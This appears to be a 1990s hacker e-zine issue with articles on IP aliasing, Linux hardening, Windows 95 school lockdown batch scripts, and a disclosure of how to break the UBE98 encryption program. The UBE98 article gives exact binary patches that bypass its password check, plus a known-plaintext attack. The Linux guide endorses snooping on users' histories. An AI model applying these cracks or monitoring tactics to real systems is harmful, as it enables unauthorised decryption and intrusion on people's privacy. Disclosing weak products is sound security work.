SSCrgZY2nIGz68SO+2h3weFMzdBSWQDjZ5Fa7GjRBPeTRQvectPvSqcwjeZTq8DE
1AVI/oFw1mChgfV7CgQuC+P0OK+jr6tIwyhM6gdo5NEdD7/uLWJfFi2l/AP4skVv
ydmg1KGlxjvtjOFKhOGoV2vSTPRGn1l1lCzBZPRur0xTtNwk5b54o8g/NlMEsO/p
/P6CRP4J1WlDkH66jST+ygAYNN0AtRy0eEPUxu7+dYC4OgT0xCcglCqKf7hnMGrf
s/I2MHBbhSmdtcW5pLYcEb8iwXEitGN+plAy+OZrygJ4ytFAdnL2r9NmegUPTYz0
3t4M3hiITUmiP4kAPwMFGDR6E3xoElaL3ycc0BECKBQAoKqOQNZ82RmU4rsZRM9l
a6QdQeSVAJ469y3cLO1eU5oMYpLdvSGevh0mSg==
=cpan
-----END PGP PUBLIC KEY BLOCK-----

EOF@

---------------------------------------------------------------------------
[IP Aliasing]                                                        [m0f0]
---------------------------------------------------------------------------

In a LAN environment, clients and servers are connected to the network by
one or more network controller cards. Each controller has a factory-set
(hard-coded) primary physical address called the MAC address. The MAC
address is also known as the primary unicast address. For an Ethernet
controller, the MAC address is a string of hex bytes that looks, for
example, like this:

    08:0a:10:bc:7f:5d

In addition to its own name, the controller can recognize up to 16 alias
names placed in the its driver's multicast address list. The controller
accepts any packet sent to its primary unicast address and any packets
sent to an address in its multicast list.

The IP address is a unique name given to a controller to identify it on
the network. The IP address is a broken numeric string that looks similar
to:

    129.226.55.33

Traditional internet protocol (IP) allows each controller on a network to
have one IP address, which is mapped to the MAC address to establish its
network identity. IP aliasing allows each controller to have a secondary
IP address (an alias) supporting up to 16 unique virtual addresses, so
that a network administrator can greatly expand the effective size of the
network without installing additional hardware. The virtual addresses are
mapped to the multicast list of the physical controller.

The utilities ipalias and macconfig are used to create multiple virtual
interfaces on a single physical network interface. Although the primary
interface is brought on line with ifconfig, the IP layer treats the
primary and secondary addresses as equals with identical responses ping,
ftp, telnet, rcp, rlogin, and so forth.

Aliasing the MAC Address

The macconfig utility is used to add a multicast address to the list of
multicast addresses on system X. This task involves the conversion of a
unicast address to a new form, the multicast address. An understanding of
48-bit Universal LAN MAC address structure makes this task easier.

48-bit Universal LAN MAC Address

The concept of universal addressing is based on the requirement that all
members of a network have a unique identifier. Otherwise they cannot
coexist. The advantage of a universal address is that a node with such an
address can be attached to any LAN in the world with an assurance that its
address is unique.

The 48-bit Universal Address consists of two parts:

1. The first 24 bits correspond to the Organizationally Unique Identifier
(OUI) as assigned by the IEEE, except that the assignee may set a control
bit for group addresses (multicast addresses) or for individual addresses
(unicast addresses).2. The second part, comprising the remaining 24 bits,
is administered locally by the assignee. In the following 48 bit LAN MAC
address, the Organizationally Unique Identifier is contained in octets 0,
1, 2 and the remaining octets 3, 4 and 5 are assigned locally.

Octet    0        1        1        3        4        5
Binary    0011    0101    0111    1011    0001    0010    0000    0000    0000    0000    0000    0001
Hex    C    A    E    D    8    4    0    0    0    0    0    8

The least significant bit or first bit octet 0 is the I/G address bit used
to identify the destination address, either as an individual/unicast
address (0) or as a group/multicast address (1) that identifies one,
several, or all stations connected to the LAN. The all-station broadcast
address is a special predefined group address off all 1's.

The second bit of octet 0 is the Universally or Locally Administered (U/L)
bit. This bit indicates whether the address has been assigned by a local or
universal administrator. Universally administered addresses have this bit
set to 0 and they are globally/universally unique. This is the normal
case. If this bit is set to 1, the entire address (all 48 bits) has been
locally administered and may not be globally unique. Thus, for example,
bytes 0,1 and 2 would be unique for SynnerGy Networks, and
SynnerGy Networks can then assign the last 24 bits for each network
interface controller it manufactures, thereby allowing approximately 16
million individual addresses and 16 million unique group addresses that
no other organization can have (universally unique).

Converting a Unicast Address to a Multicast Address

For a given 48-bit Universal LAN MAC address, the first 24 bits
correspond to OUI. The least significant bit (the first bit or I/G bit)
of the OUI is the only bit that can be changed to make this address a
multicast address. We cannot change any other bit without either
compromising uniqueness of the address or violating some IEEE addressing
standards.

The U/L bit for a universally unique address is always 0. This leaves the
following four possibilities in the least significant nibble (4 bits) of
a valid universally unique unicast/individual address:

0x0(0000)
0x4(0100)
0x8(1000)
0xC(1100)

where 0x indicates a hexadecimal digit.

Given the fact that we can only change one bit (the I/G bit) to convert
the unicast address to a multicast address, we have the following
transformations:

0x0(0000) ? 0x1(0001)
0x4(0100) ? 0x5(0101)
0x8(1000) ? 0x9(1001)
0xC(1100) ? 0xD(1101)

Thus, for a given unicast address, 08:00:0b:06:1d:50, for example,
the multicast form is
09:00:0b:06:1d:50.


Address Resolution Protocol

The IP addresses must be mapped to MAC addresses before a client can
successfully send a packet to a server or peer on the network. In TCP/IP,
the Address Resolution Protocol (ARP) is used to seek and map the address
information. The client sends an ARP broadcast query that says, in effect,
"Here is a destination IP address. Send me your MAC address." This query
is seen by all the controllers on the network, and the owner of the IP
address replies with its MAC address. The client stores the IP/MAC address
map entry in a small  table called the ARP cache. This information can be
published by ARP.

Aliasing the IP address - An Example

Initially, the network controller is brought online and given a primary IP
address using ifconfig. Now we use ipalias to create up to 16 additional
network identities on the secondary IP address and will honor all
communication sent to its IP Aliases.

Steps to bring a virtual network interface up on a system are:

1. Add the alias IP address to the interface using the following command
   sequence:

$ ipalias -a 129.226.55.33 et5961

where (as an example) 129.226.55.33 is the alias IP address and et5961 is
the controller name.

2. Add the multicast address to the interface

$ macconfig -m 129.226.55.33 9:6:a:b:3:e et5961

where 9:6:a:b:3:e is the example MAC address and et5961 is the controller
name.

3. Invoke ARP to publish the mapping.

$ arp -s 129.226.55.33 9:6:a:b:3:e pub

4. Check the mapping published by ARP, which should appear as shown on
the seconds line of this example.

$ arp -a
(129.226.55.33) at 9:6:a:b:3:e permanent published

>From this point onward any system on the network can access this aliased
IP address (129.226.55.33) using ping, telnet, ftp, rlogin, rcp, rsh, and
so forth.

m0f0

---------------------------------------------------------------------------
[Yet Another Newbies Guide to Linux Security]               [Digital Ebola]
---------------------------------------------------------------------------

Another one bites the dust today. Young grasshopper gets burned by a
mad cracker wishing to gain yet another root prompt. In this article,
I will go into the "minimal/BOFH" approach to Linux system security.
I will not go into great detail over services or packages. This guide
is to be taken as guidelines and not exact instructions. If you are
not familiar with BOFH tactics, go read some BOFH stories, they are
funny as hell.

Good Linux security starts from the install. Period. You should
choose your distribution well, or be prepared to either be owned
quickly, or learn your system quickly. Depending on your distro, you
will have a choice on packages, and modules. Read on these. The very
first thing you should do, is acquaint yourself with each and every
package, and its particular bugs, or holes. When you build your box,
you should know your exact purpose for it and build it accordingly.
If you are building it strictly for firewall purposes, then there is
no reason to run XFree86. If you already have a print server on your
network, then theres no reason why you should install printer
services. This approach not only works well, but lets the system grow
as you do, and starting off small, means that when you do add extras,
 they will be installed properly, without risk, because you know
exactly what you are installing.

Minimal packages mean less maintainence. Although its nice to have
everything on one system, its not good from a security aspect. As
well as being minimalistic on the packages, be the same way on
services. Do not elect to run services you are never going to use.
Most dialup connections have no business running BIND, or POP3. Keep
the services down to a minimal, as the less services you have, the
less doors a intruder has to your system. If you are running a network
on ISDN or multiplexed line, it would be highly advisable to divide
those kinds of services to different machines. POP3 and BIND both are
notorious for security holes, and just because you don't see exploit
code on rootshell, does not mean exploit code does not exist.

When it comes to dealing with the packages you have, it can be a
tricky thing. You have set down, and set a purpose for your machine,
researched the packages, and killed all unnessacary services. Whats
left, are the things that are needed. How do you protect whats there?
Permissions. You MUST check every SUID root binary. Some things in the
distro have no business being SUID root, although the person who coded
it seemed to think it was a good idea. Works for him, but could be
fatal for you. To check to see what is SUID on the system do this:

linux$ find / -perm -4000 -print

This string will list ALL the SUID binaries on the system. You need to
run each one as a USER and see what happens. A lot of them will be
protected, some however, will not. You have to analyse the use of the
binary, and decide whether or not the binary needs to be SUID root.
Or decide whether or not your user needs to run it. This is the BOFH
approach in a way. Why would a remote user need PING? They really
dont, and PING itself is SUID root by default under most Linux
distrobutions. Does the user need compiling functions? If, most of
your users are not coding, then you should create a group for coding,
and put only trusted people in it. This is very much BOFH. This also
eliminates "script kiddies" or makes their life tougher, and protects
certain linked libs. Tailor the box, for the general kind of users on
the system.

Countermeasures improve security. One such package is Abacus Sentry.
This binary listens on TCP/UDP ports, and tries to detect port scans.
Upon port scans, it will put the offending host on deny and attempt
to cut its route. This is very evil, very effective and will make
/etc/hosts.deny grow to huge proportions. There is a flaw with it.
A enterprising person, could fake the scan to make it look like it
came from your router, thus denying yourself, and cutting your route.
 Enough said. Sometimes there is a price for good security, again, as
I have said before, you have to build for your needs. Another
countermeasure tool, is Tripwire. Tripwire will watch certain files
for modifications, such as /root/.bash_profile or whatever else you
may configure it for. Upon modification, it will mail root.

Watching the network your system on is vital if you are in a LAN
enviroment. Bins such as Sniffit, Netwatch and even good ole Netstat
are important if you are to maintain security, both on the inside and
out. Of course, in this article, we are only hitting the basics of
Linux security, but think about this. All the security in the world
is no good, if the people you are connected to are not secure
themselves. Do not be afraid to not only question yourself,
your users, but your provider as well. You must watch your subnet,
manage your users, and keep everything in working order.
Your provider should do the same. Although, its debatable whether
they can legally snoop your sessions, you, the newbie with the linux
 box, can. Do not be afraid to cat .bash_history, or grep logs. Or
even ttysnoop for that matter. If you have a questionable user, you
need to know what is going on. As a rule, users never give straight
answers, it would be the same as if you were questioned by your
provider.

For the newbie, learning can be frustrating and time consuming.
Whether you are learning for yourself, or your business, nobody likes
to be owned. In this day and age, information can not only make you
prosper, but what you don't know can kill you. Or in this case, your
systems. Do not be afraid to experiment with new tactics or new ideas.
 Do not choke your users, you CAN be too secure. It all comes down to
your needs and the needs of your users. Use common sense, and read
everything. And then, you too, may be wise in the ways of Linux
security. :)

Digital Ebola aka DigiEbola
http://wintermute.unixgeeks.com
[e-mail]

---------------------------------------------------------------------------
[UBE98 -- Unbreakable Encryption]                             [Joe Peschel]
---------------------------------------------------------------------------

UBE98 is an encryption program by CIPHERTech at:
CIPHERTech

The site is in England so the chap who designed the program isn't
encumbered by the United States' EAR (Export Administration Regulations).

                             Introduction

The UBE98 author describes the program:

255 Byte RC4 Algorithm - The strongest encryption algorithm in the world!
Automatic Encryption - Self extracting Encrypted file creation - QuickView
encrypted pictures - Win98 style caption bars and menus - Seamless windows
95/98/NT integration - Transparent use - UBE 98 has to be the choice for
you.  Download it now for free!

There was also a review in the British press entitled "The 30 billion
year encryption problem" at:  BBC Article

You might notice that the BBC refers to a 2,048-bit key while the author
says the key is 2,040 bits. The time needed to brute-force such a key, of
course, is wrong, too. There are other errors in the report, too, that
I'll let you enjoy (or cringe at) at your leisure. UBE98's problems are
bigger than just a reporting error over the real size of the key, and the
time it would take to brute-force  the key. The British government likely
isn't worried about having to crack UBE98 if it needs to. In  this paper,
I'll describe three ways to break UBE98.

The Known-Plaintext Attack

I was first reminded of UBE98 in sci.crypt when I saw a mention of the
program's file wiping capability. Later, I noticed Mike Stay commenting in
coderpunks on UBE98's encryption capability. Some experts responded to the
initial mention of UBE98's large RC4 key as quite possible, and asked why
they thought the original poster considered the program snake-oil. I am
sure had those experts looked at the program they would have determined
quickly the  worthlessness of UBE98 as an encryption program.

Stay soon described his attack in coderpunks:

I downloaded the thing. It asks for a bunch of information (like e-mail
address, name, address, 25 random keystrokes). I wrote Peter about how he
created the key and he says it's MD5 and SHA plus some "random bytes from
various places in the computer." The key is stored somewhere and
protected with a password. It's always the same key. I encrypted a file
of zeros and another file, XORed the two and got the original. A known
plaintext attack will break every file you ever encrypt with this (because
it only generates one key, ever.) I might add that you can also save the
key (255 bytes) to a floppy disk, which in itself may pose a security risk.
Also, even though the created key is always the same on each installation,
the key is different on different systems. I mentioned Stay's analysis in
sci.crypt hoping to steer folks away  from a poor encryption product. In
response a fellow called Melih suggested that a cracker could  find other
ways to attack UBE98. So I set about finding a couple more attacks on
this dubious symmetric cipher.

Cracking a Dubious Symmetric Cipher By Disassembling the Program

UBE98 does typical symmetric encryption and lets you create
self-extracting encrypted executables. In order to access the content of
either encryption you need to enter a password. Since, as Stay pointed
out, the key is always the same, I theorized the program's check of the
correct password might be subverted in a way less conventional than
typical cryptanalytic attacks.

Let's consider a typical encryption first. We'll assume that we have
access to the victim's machine. We are going to try Stay's attack on
UBE98, but we'll bring with us a few of floppy disks for copying *.ube
files. One of our disks will be home to a file (500k or so) of 00s of
known-plaintext and a hex editor such as HIEW. First, we'll copy all of
the encrypted .ube files to floppy disk. Next, we'll need to encrypt our
known-plaintext (the 00 file) with the victim's key. We'll assume that he
hasn't left the password in memory, even though UBE98 has that capability.

So we'll need to bypass the password. Naturally, we have figured out a
way to bypass it.

A file called hook32.exe is the program's executable. Upon previously
disassembling the .exe we found an interesting JE instruction in the code
prior to the error message string: "You have entered an incorrect password."

 :0044A026
           7458
                je
                   0044A080

In our hex editor, we change the JE instruction to JNE by changing 74 to
75 at offset 00049426h and run UBE98 with our slightly modified
executable. The result: UBE98 accepts an incorrect
password or no password at all and decrypts any encrypted file.

Armed with that knowledge, we attack the victim's UBE98 installation and
either hex edit the UBE98 executable or run a patch to change the
instruction. Now we can either XOR at our leisure on our own system, or
decrypt while at the victim's system.

Cracking Self-Extracting Encrypted Files

Self-extracting encrypted files are intended to provide a way to send
encrypted email. It's not a bad idea, but normally you still need to find
a way to securely transmit the key. Finding a secure way to transmit the
key, unfortunately, in UBE98's case makes little difference since a
self-extracting encrypted file can be cracked in the same way as
hook32.exe.

We can assume either we have access to the sender's machine or that we
have the capability of intercepting the sender's and recipient's email.
In either case, we are in possession of encryptedfile.exe. We guess that
the password is likely checked as it is in hook32.exe and look
for a JE instruction in the disassembly.

In the disassembly, we find the string "You have not entered the password
with which this file was encrypted. Please try again."

We find this instruction prior to the error message string:

 :0042D13E
           0F84A0000000
                         je
                            0042D1E4

In our hex editor we change JE to JNE (84 to 85). When we execute the
self-extracting encrypted file we find that, like hook32.exe, an
incorrect password or no password at all decrypts the file.

UBE98 is even worse than I thought.

---------------------------------------------------------------------------
[Windows 95 Protection]                                            [NtWak0]
---------------------------------------------------------------------------

GREATS TO U ALL MY BROTHERS/SISTERS FROM "NtWaK0"

To me a hacker isn't just someone doing "illegal" things like cracking
other people's passwords or breaking into some computer to steal
information's. I think a hacker is everybody interested in experimenting
with computers or the telephone network.

Quote:---------------------------------------------------------------------
"Any Grandma can call herself a hacker when she's able to program her VCR"
---------------------------------------------------------------------------

This document is for educational use only and it is very helpful for
schoolteacher n student....I am not going to show you how to hack a
windows Box but how to protect it and when you know How to protect your
self and other that mean you can have fun with that box too? --:)

When you start using a school computer and whatever the purpose of the
usage the PC configuration is constantly modified by the student or
teacher. That will lead to a lot of security holes and system
misconfiguration

It is necessary " to lock " the computers, so that the pupils cannot
change the configurations nor to destroy files but to only work with
applications planned for them.

Only the supervisor can modify this configuration or install new
software. The supervisor is not inevitably a single individual, but can
be represented by two or three Qualified people. If it is the case,
these people will have systematically to act in concert for the least
modification.  The supervisor must always be with the listening of the
other teachers and take account of their remarks and proposals.

>From now on, with the Windows 95 launching, this dialogue box appears :

The supervisor can type his name: sup and its password. This word must
known by a minimum of people and never be typed in front of a pupil who
could recognize the keys typed on the keyboard (although it appears in
the form *******). In the same way, this word should not form part of the
vocabulary of our pupils, because they could extremely well find it while
grouping. Its length will be of at least 5 letters.

Fault of knowing the password, the children click on cancel or press on
the key [ Esc ]. If they would type an unspecified name and a password of
their invention (one can trust them,  they will not deprive oneself any)
the computer will accept them, but they will be found in  any event with
the same configuration as the others and as they will not be able to
modify this configuration by default.

How to carry out the protection of a computer ? How Does Windows Use
System Policies?

When the user logs on, Windows checks the user's configuration
information for the location of the policy file. Windows then downloads
the policies and copies the information in the registry using the
following process.

First if user profiles are enabled Windows checks for a user policy
section that matches the user name and applies the user specific policy.
If Windows does not find a user policy section, it applies the Default
User policies. If support for group policies is installed, Windows
downloads group policies, starting with the lowest priority group and
ending with the highest priority group.

Group policies are processed for all groups to which the user belongs.
Group policies are not applied if there are user policies defined for the
user. These settings are copied into the USER.DAT portion of the registry.

Second Windows applies computer specific policies to the desktop
environment. If a policy section for that computer name does not exist
Windows applies the Default Computer policies. These settings are copied
into the SYSTEM.DAT portion of the registry.

By default Windows automatically attempts to download computer and user
policies from the file Config.pol in the Netlogon folder on a Windows NT
server or the Public folder on a NetWare  server. This default location
can be overridden in a policy file setting. If no server is present
Windows uses the settings currently on the client computer.


The System Policy Editor?

When you run System Policy Editor Windows 95 opens the default policy
template, which contains existing policies that you can enable or modify.
A template is a listing of the possible policies that an administrator
can set.

The Office Resource Kit Tools and Utilities CD-ROM include the latest
version of the System Policy Editor.This is the same version that is
included with Windows NT Workstation 4.0 and  you can use it with both
Windows 95 and Windows NT Workstation 4.0. Using the System Policy
Editor, you can set user policies for all users, for a particular network
group, or for a  single user. User policies are system policies that
represent application options relevant to the user currently logged on to
Windows and they are stored in the HKEY_USERS portion of the user's
Windows registry


Activation of the system of the passwords:
To launch Windows 95. Click on Start>Parameters>Control panel>Passwords.
In: " User profiles ", check the following options:
CHECK User can customize their preferences blah blah blah
CHECK Include desktop Icons and Network blah blah blah
CHECK Include start menu and program blah blah blah
Click Ok, and agree to start again the computer


With the exit of the Windows 95 restarting, you will see a dialogue asking
you your name And your password will appear.When the dialogue box
requiring name and password appears again, press on the key [Esc].By doing
this, we will launches the configuration by default, which will become
the configuration for the pupils.

At this point all what you have to do is to delete the shortcut and the
unwanted application from the start menu, and from the desktop. Next step
is to use poledit and change all the  options that you want restrict.

---------------------------------------------------------------------------
Caution!!! Poledit will modify the Base of register per default
(C:\Windows\User.dat). It is an operation, which can be dangerous if we
don't know what we are doing. It is thus advisable to back up the
User.dat file on diskette before starting
---------------------------------------------------------------------------


At the end of the modification, click on Ok, then in the menu File, click
on close. Lastly answer Yes when a dialogue box proposes to the
modification. Certain options will take effect only after having started
again the computer.

Therefore click on: Start>then Stop To start again the computer (remove the
diskette  temporarily).

Let us say we have a new user SO-AND-SO

1 The file C:\Windows\SO-AND-SO.pwl keep the user password.
2 The folder profil C:\Windows\Profiles\SO-AND-SO This file contains the
  personal registry User.dat  of SO-AND-SO
3 The default registry setting C:\Windows\User.dat can be found in the
  section: Hkey_Local_Machine\Software\Microsoft\Windows\Current_Version\
  Profile_List \

Thus, if we wants to remove the superfluous profiles, while preserving the
profile sup, it is necessary to do :

1 Erase all the C:\Windows\*.pwl files except for Sup.pwl
2 Empty the C:\Windows\Profiles file and all its under-files except for
  the sup, which by the same occasion will be recopied in C:\Windows\Sup
3 Recopy the reference registry (*)  : User.stu + System.stu In User.dat +
  System.dat (The old registry will be saved as User.bak + System.bak).

All these operations can be automated, by carrying out the command in the
file Nettoie.bat

The register of C:\Windows\User.stu reference + System.stu will be
created by carrying out the command in the file Sauve.bat, which is made
automatically at the time of the installation

Thereafter, it will be necessary to carry out Sauve.bat only after
possible modification of the configuration (by default).

Important: Before starting the modification use the batch file
nettoie.bat to clean you your system


---------------------------------------------------------------------------

NETTOIE.BAT

The role of this file is to remove all the profiles automatically, except
one: that of the supervisor (sup). It will have to be carried out rather
often and regularly

In particular, always carry out before modifying the registry.
Here the source of NETTOIE.BAT (attention!!! this command file must be
launched starting from Windows 95, either in a Dos session, or directly
starting from the Browser. Indeed, if one  launches it in exclusive Dos
mode, the long names will not be managed correctly).
---------------------------------------------------------------------------
@echo off
cls
echo NETTOIE.BAT - NtWaK0 1/6/99
set os=windows
if exist c:\%os%\sup.pwl goto suite1
echo The supervisor profile (sup) was not created yet. You cannot carry out nettoie.bat
echo at the moment
goto fin
:suite1
echo List of actual profiles (*.pwl) :
echo.
dir c:\%os%\*.pwl /b /p
echo.
echo If you see several profiles, only SUP.PWL must be preserved

choice /N You want delete the other profiles (Y or N) ?
if errorlevel 2 goto fin

echo.
attrib +r c:\%os%\sup.pwl
del c:\%os%\*.pwl > nul
attrib -r c:\%os%\sup.pwl

cls
echo Erasing the superfluous profiles...
echo.

if exist c:\%os%\profiles\sup\*.* goto suite2
echo No file of supervisory profile (sup) is detected!!!
goto fin

:suite2
if exist c:\%os%\sup\*.* deltree /y c:\%os%\sup\*.* > nul
attrib -s -h -r c:\%os%\profiles\sup\*.*
xcopy32 c:\%os%\profiles\sup\*.* c:\%os%\sup\ /s /e > nul
deltree /y c:\%os%\profiles\*.* > nul
xcopy32 c:\%os%\sup\*.* c:\%os%\profiles\sup\ /s /e > nul
attrib +r +h +s c:\%os%\profiles\sup\*.*

if exist c:\%os%\user.stu goto suite3
echo The student registry (reference ) (User.stu)
echo Was not detected!!!
goto fin

:suite3
attrib -s -h -r c:\%os%\user.dat
attrib -s -h -r c:\%os%\user.stu
if exist c:\%os%\user.bak del c:\%os%\user.bak
rename c:\%os%\user.dat user.bak
copy c:\%os%\user.stu c:\%os%\user.dat > nul
attrib +r +h +s c:\%os%\user.dat
attrib +r +h +s c:\%os%\user.stu
attrib -s -h -r c:\%os%\system.dat
attrib -s -h -r c:\%os%\system.stu
if exist c:\%os%\system.bak del c:\%os%\system.bak
rename c:\%os%\system.dat system.bak
copy c:\%os%\system.stu c:\%os%\system.dat > nul
attrib +r +h +s c:\%os%\system.dat
attrib +r +h +s c:\%os%\system.stu

echo All the different profiles other then SUP were deleted
echo.
echo Now, you must start again Windows...
:fin
set os=
echo.
----------------------------------------------------------------------------

----------------------------------------------------------------------------
SAUVE.BAT

This command file must be carried out after any modification of the
configuration raises (then the default configuration). Be certain that no
different profile than sup exists before launching sauve.bat (if not, the
Base of register of User.stu reference would keep trace of the undesirable
profiles).

Do not forget to carry out nettoie.bat before modifying the default
configuration, in order to eliminate the different profiles other then sup
----------------------------------------------------------------------------
@echo off
cls
echo SAUVE.BAT - - NtWaK0 1/6/99
echo.

set os=windows

if exist c:\%os%\sup.pwl goto suite1
echo The supervisor profile (sup) was not created yet. You cannot carry out sauve.bat
echo at the moment
goto fin

:suite1
if not exist c:\%os%\user.stu goto nouveau
if not exist c:\%os%\system.stu goto nouveau
echo Sauvegarde de USER.stu + SYSTEM.stu
goto suite2

:nouveau
echo First use. Creation of USER.stu + SYSTEM.stu
:suite2
echo.
attrib -s -h -r c:\%os%\user.dat
if exist c:\%os%\user.stu attrib -s -h -r c:\%os%\user.stu
copy c:\%os%\user.dat c:\%os%\user.stu > nul
attrib +r +h +s c:\%os%\user.dat
attrib +r +h +s c:\%os%\user.stu
attrib -s -h -r c:\%os%\system.dat
if exist c:\%os%\system.stu attrib -s -h -r c:\%os%\system.stu
copy c:\%os%\system.dat c:\%os%\system.stu > nul
attrib +r +h +s c:\%os%\system.dat
attrib +r +h +s c:\%os%\system.stu
echo End.

:fin
set os=
echo.
---------------------------------------------------------------------------

The Browser coded

The source program of the Browser coded realized in Qbasic (Explore.bas),
then is compiled (Explore.exe) and is recopied in C:\Windows\System. A
short cut towards Explore.exe will be  slipped into the Menu To start
by default, after all the restrictions were applied by Poledit
(not to cancel the option: to carry out programs MSDOS).

The password file (Explore.psw) is a simple textual file which contains
the password in clear text (better is to not use Edit in a DOS session...)
it is also; located in C:\Windows\System.

Here the source of Explore.exe:
---------------------------------------------------------------------------
 ' EXPLORE.EXE - NtWaK0 - 1/6/99
 '
 CLS
 OPEN "I", #1, "c:\windows\system\explore.psw"
 INPUT #1, code$
 CLOSE #1
 lcode = LEN(code$)
 COLOR 14: PRINT : PRINT "  If you don't know what to do, type *"
 PRINT
 c$ = "": t$ = "": cpt = 0
 DO
   t$ = INKEY$: IF t$ <> "" THEN c$ = c$ + t$: cpt = cpt + 1
   IF cpt > 30 THEN
     COLOR 12: PRINT "  Searching for Code ???"
     BEEP: BEEP: BEEP
     FOR i = 1 TO 500000: NEXT i
     END
   END IF
   IF t$ = "*" THEN BEEP: END
   IF LEN(c$) > lcode THEN c$ = RIGHT$(c$, lcode)
 LOOP UNTIL c$ = code$
 COLOR 10: PRINT "  Explorer..."
 FOR i = 1 TO 100000: NEXT i
 SHELL "c:\windows\explorer.exe"
 END

---------------------------------------------------------------------------
PHOTO.BAT

This command file makes it possible " to photograph " the complete
configuration of a computer after we entirely protected it (creation of
the supervisory profile, clean-up in the Start Menu restrictions on the
configuration by default, etc.)

When we carries out A:\photo.bat, the configuration of the computer is
entirely recopied on this same diskette in a file A:\Windows
(approximately 200 to 600 KB).

Thereafter, we will recopy this configuration on another computer, while
launching Windows 95 then by carrying out A:\duplique.bat starting from
the Browser. With the restarting, the second computer will be configured
like the first. We will be able to  then carry out duplique.bat, on all
the computers, which we wants to protect

---------------------------------------------------------------------------
Caution! A:\photo.bat and A:\duplique.bat should not be carried out in
exclusive mode MSDOS. They must be launched starting from Windows (use the
Browser) and remain on the diskette
---------------------------------------------------------------------------

---------------------------------------------------------------------------
@echo off
cls
echo PHOTO.BAT - NtWaK0 - 1/6/99
echo.
pause > nul

set os=windows

if exist c:\%os%\sup.pwl goto suite1
echo The supervisor profile (sup) was not created yet. You cannot carry out sauve.bat
echo at the moment
goto fin

:suite1
if not exist a:\%os%\*.* goto suite2
echo Photo.bat was already excuted ! now you should use Duplique.bat
goto fin

:suite2
echo Please wait copying the files...
echo.
xcopy32 "c:\%os%\start menu\*.*" "a:\%os%\start menu\" /s /e > nul
deltree /y "c:\%os%\profiles\sup\recent\*.*" > nul
attrib -s -h -r c:\%os%\profiles\sup\user.dat
xcopy32 "c:\%os%\profiles\*.*" "a:\%os%\profiles\" /s /e > nul
attrib +r +h +s c:\%os%\profiles\sup\user.dat
attrib -s -h -r c:\%os%\user.dat
copy c:\%os%\user.dat a:\%os% > nul
attrib +r +h +s c:\%os%\user.dat
attrib -s -h -r c:\%os%\system.dat
copy c:\%os%\system.dat a:\%os% > nul
attrib +r +h +s c:\%os%\system.dat
copy c:\%os%\sup.pwl a:\%os% > nul

echo End.

:fin
set os=
echo.

---------------------------------------------------------------------------------
DUPLIQUE.BAT
It is not possible to launch A:\duplique.bat without executing first
A:\photo.bat
---------------------------------------------------------------------------------
@echo off
cls
echo DUPLIQUE.BAT - NtWaK0 - 1/6/99
echo.
pause > nul

set os=windows

if not exist c:\%os%\sup.pwl goto suite1
echo This PC is already protected !
goto fin

:suite1
if exist a:\%os%\*.* goto suite2
echo You should first execute Photo.bat on a protected PC !
goto fin

:suite2

echo In the event of problem, the old Start Menu is recopied in the file
echo Ex_Start_Menu registry User.dat  + System.dat is renamed echo to User.bak + System.bak
echo.
echo Copying files...
echo.
if not exist "c:\%os%\Ex_Start_Menu\*.*" goto premier
deltree /y "c:\%os%\Ex_Start_Menu\*.*" > nul
echo New installation.
echo.

:premier
xcopy32 "c:\%os%\start menu\*.*" "c:\%os%\Ex_Start_Menu\" /s /e > nul
deltree /y "c:\%os%\start menu\*.*" > nul
xcopy32 "a:\%os%\start menu\*.*" "c:\%os%\Start menu\" /s /e /v > nul
xcopy32 "a:\%os%\profiles\*.*" "c:\%os%\Profiles\" /s /e /v > nul

attrib -s -h -r c:\%os%\user.dat
if exist c:\%os%\user.bak del c:\%os%\user.bak
rename c:\%os%\user.dat User.bak
copy a:\%os%\User.dat c:\%os% > nul
copy c:\%os%\user.dat c:\%os%\User.stu > nul
attrib +r +h +s c:\%os%\user.dat
attrib +r +h +s c:\%os%\user.stu

attrib -s -h -r c:\%os%\system.dat
if exist c:\%os%\system.bak del c:\%os%\system.bak
rename c:\%os%\system.dat system.bak
copy a:\%os%\System.dat c:\%os% > nul
copy c:\%os%\system.dat c:\%os%\System.stu > nul
attrib +r +h +s c:\%os%\system.dat
attrib +r +h +s c:\%os%\system.stu

copy a:\%os%\Sup.pwl c:\%os% > nul
copy a:\Nettoie.bat c:\%os% > nul
copy a:\Sauve.bat c:\%os% > nul
copy a:\Explore.exe c:\%os%\system > nul
copy a:\Explore.psw c:\%os%\system > nul
if exist c:\%os%\poledit.exe del c:\%os%\poledit.exe

echo End. Now you should restart your computer.

:fin
set os=
echo.
---------------------------------------------------------------------------


Registry Keys
CLASS MACHINE




CATEGORY !!Network
KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network

    CATEGORY !!AccessControl

        POLICY !!AccessControl_User
        KEYNAME System\CurrentControlSet\Services\VxD\FILESEC
        VALUENAME Start
        VALUEON NUMERIC 0 VALUEOFF DELETE

        ACTIONLISTON
            KEYNAME System\CurrentControlSet\Services\VxD\FILESEC
            VALUENAME StaticVxD VALUE filesec.vxd
        END ACTIONLISTON
        ACTIONLISTOFF
            KEYNAME Security\Provider
            VALUENAME Platform_Type  VALUE NUMERIC 0
            KEYNAME System\CurrentControlSet\Services\VxD\FILESEC
            VALUENAME StaticVxD VALUE DELETE
            KEYNAME System\CurrentControlSet\Services\VxD\NWSP
            VALUENAME Start        VALUE DELETE
            VALUENAME StaticVxD VALUE DELETE
            KEYNAME System\CurrentControlSet\Services\VxD\MSSP
            VALUENAME Start        VALUE DELETE
            VALUENAME StaticVxD VALUE DELETE
        END ACTIONLISTOFF

            PART !!AuthenticatorName EDITTEXT
            KEYNAME Security\Provider
            VALUENAME Container
            END PART

            PART !!AuthenticatorType DROPDOWNLIST
            KEYNAME Security\Provider
            VALUENAME Platform_Type REQUIRED
            ITEMLIST
                NAME !!AT_NetWare VALUE NUMERIC 3
                ACTIONLIST
                    KEYNAME System\CurrentControlSet\Services\VxD\NWSP
                    VALUENAME StaticVxD VALUE nwsp.vxd
                    VALUENAME Start        VALUE NUMERIC 0
                    KEYNAME Security\Provider
                    VALUENAME Address_Book  VALUE nwab32.dll
                END ACTIONLIST

                NAME !!AT_NTAS  VALUE NUMERIC 2
                ACTIONLIST
                    KEYNAME System\CurrentControlSet\Services\VxD\MSSP
                    VALUENAME StaticVxD VALUE mssp.vxd
                    VALUENAME Start        VALUE NUMERIC 0
                    KEYNAME Security\Provider
                    VALUENAME Address_Book  VALUE msab32.dll
                END ACTIONLIST

                NAME !!AT_NT  VALUE NUMERIC 1
                ACTIONLIST
